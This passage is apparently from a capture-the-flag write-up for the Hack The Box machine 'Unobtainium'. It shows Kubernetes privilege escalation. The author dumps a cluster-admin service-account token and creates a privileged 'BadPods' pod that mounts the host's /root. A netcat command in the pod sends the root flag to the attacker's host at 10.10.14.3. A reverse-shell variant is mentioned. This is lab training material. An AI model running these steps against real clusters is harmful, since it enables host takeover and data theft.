attachdetach-controller-token-5dkkr kubernetes.io/service-account-token 3 96d
bootstrap-signer-token-xl4lg kubernetes.io/service-account-token 3 96d
c-admin-token-tfmp2 kubernetes.io/service-account-token 3 95d
certificate-controller-token-thnxw kubernetes.io/service-account-token 3 96d
clusterrole-aggregation-controller-token-scx4p kubernetes.io/service-account-token 3 96d
coredns-token-dbp92 kubernetes.io/service-account-token 3 96d
cronjob-controller-token-chrl7 kubernetes.io/service-account-token 3 96d
daemon-set-controller-token-cb825 kubernetes.io/service-account-token 3 96d
default-token-l85f2 kubernetes.io/service-account-token 3 96d
deployment-controller-token-cwgst kubernetes.io/service-account-token 3 96d
disruption-controller-token-kpx2x kubernetes.io/service-account-token 3 96d
endpoint-controller-token-2jzkv kubernetes.io/service-account-token 3 96d
endpointslice-controller-token-w4hwg kubernetes.io/service-account-token 3 96d
endpointslicemirroring-controller-token-9qvzz kubernetes.io/service-account-token 3 96d
expand-controller-token-sc9fw kubernetes.io/service-account-token 3 96d
generic-garbage-collector-token-2hng4 kubernetes.io/service-account-token 3 96d
horizontal-pod-autoscaler-token-6zhfs kubernetes.io/service-account-token 3 96d
job-controller-token-h6kg8 kubernetes.io/service-account-token 3 96d
kube-proxy-token-jc8kn kubernetes.io/service-account-token 3 96d
namespace-controller-token-2klzl kubernetes.io/service-account-token 3 96d
node-controller-token-k6p6v kubernetes.io/service-account-token 3 96d
persistent-volume-binder-token-fd292 kubernetes.io/service-account-token 3 96d
pod-garbage-collector-token-bjmrd kubernetes.io/service-account-token 3 96d
pv-protection-controller-token-9669w kubernetes.io/service-account-token 3 96d
pvc-protection-controller-token-w8m9r kubernetes.io/service-account-token 3 96d
replicaset-controller-token-bzbt8 kubernetes.io/service-account-token 3 96d
replication-controller-token-jz8k8 kubernetes.io/service-account-token 3 96d
resourcequota-controller-token-wg7rr kubernetes.io/service-account-token 3 96d
root-ca-cert-publisher-token-cnl86 kubernetes.io/service-account-token 3 96d
service-account-controller-token-44bfm kubernetes.io/service-account-token 3 96d
service-controller-token-pzjnq kubernetes.io/service-account-token 3 96d
statefulset-controller-token-z2nsd kubernetes.io/service-account-token 3 96d
storage-provisioner-token-tk5k5 kubernetes.io/service-account-token 3 96d
token-cleaner-token-wjvf9 kubernetes.io/service-account-token 3 96d
ttl-controller-token-z87px kubernetes.io/service-account-token 3 96d

If you see the third option Cluster Administrator -> c-admin-token-tfmp2 is the secret of the Cluster Administrator.

Let’s get the token of Cluster Administrator -> c-admin-token-tfmp2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl describe secrets/c-admin-token-tfmp2 -n kube-system
<describe secrets/c-admin-token-tfmp2 -n kube-system
Name: c-admin-token-tfmp2
Namespace: kube-system
Labels: <none>
Annotations: kubernetes.io/service-account.name: c-admin
kubernetes.io/service-account.uid: 2463505f-983e-45bd-91f7-cd59bfe066d0

Type: kubernetes.io/service-account-token

Data
====
ca.crt: 1066 bytes
namespace: 11 bytes
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow

Let’s list the info of the token.

1
2
3
4
5
6
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow cluster-info
<579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow cluster-info
Kubernetes control plane is running at https://10.96.0.1:443
KubeDNS is running at https://10.96.0.1:443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'

Let’s check if we create pods or not if we can create pods we can use BadPods.

1
2
3
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow auth can-i create pod
<d4JBQQYrpm6Wdm9tjbOyGL9KRsNow auth can-i create pod
yes

Yes we can create pods now let’s create a BadPods. where everything is allowed with the help of BadPods.

  • Bad Pod #1: Everything allowed
  • everything-allowed-exec-pod.yaml

I modify the everything-allowed-exec-pod.yaml file to get the root hash and save the file as luci.yaml.

  • luci.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: v1
kind: Pod
metadata:
name: some-pod
namespace: default
spec:
containers:
- name: web
image: localhost:5000/dev-alpine
command: ["/bin/sh"]
args: ["-c", 'cat /root/root.txt | nc -nv 10.10.14.3 9005; sleep 100000']
volumeMounts:
- mountPath: /root/
name: root-flag
volumes:
- hostPath:
path: /root/
type: ""
name: root-flag

Change the ip and we good to go.

Just tranfer the luci.yaml in target box insode /tmp folder and start your netcat listner to get the root.txt file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# wget http://10.10.14.3:8000/luci.yaml
<c-6ms8d:/tmp# wget http://10.10.14.3:8000/luci.yaml
--2021-04-23 08:50:56-- http://10.10.14.3:8000/luci.yaml
Connecting to 10.10.14.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 421 [application/octet-stream]
Saving to: 'luci.yaml'

0K 100% 28.2M=0s

2021-04-23 08:50:57 (28.2 MB/s) - 'luci.yaml' saved [421/421]
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl create -f luci.yaml --token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
<TJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
pod/some-pod created

and we get our root flag

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# nc -lvp 9005 > root.txt
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9005
Ncat: Listening on 0.0.0.0:9005
Ncat: Connection from 10.10.10.235.
Ncat: Connection from 10.10.10.235:44441.
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# cat root.txt
e75d930b5ede2d4e5f1dd4f54a00e5e6

If you want reverse shell you can use this.

  • everything-allowed-revshell-pod.yaml

Summary of knowledge

  • using wireshark caching unobtainium’s traffic flow
  • nodejs file read
  • Prototype Pollution
  • Command Injection
  • chisel port forwarding
  • usage of kubectl
  • inside docker container privesc via Pods

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…